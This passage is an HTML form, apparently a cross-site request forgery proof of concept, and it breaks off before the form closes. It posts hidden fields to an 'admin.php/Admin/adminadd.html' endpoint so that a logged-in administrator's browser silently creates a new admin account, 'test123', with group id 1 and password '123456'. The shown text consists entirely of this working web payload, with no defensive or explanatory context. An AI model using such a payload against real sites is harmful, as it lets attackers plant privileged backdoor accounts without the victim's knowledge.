    <form action="http://ip/admin.php/Admin/adminadd.html" method="POST">
      <input type="hidden" name="name" value="test123" />
      <input type="hidden" name="tel" value="" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="gid" value="1" />
      <input type="hidden" name="pass" value="123456" />
      <input type="hidden" name="repass" value="123456" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="go" value="1" />
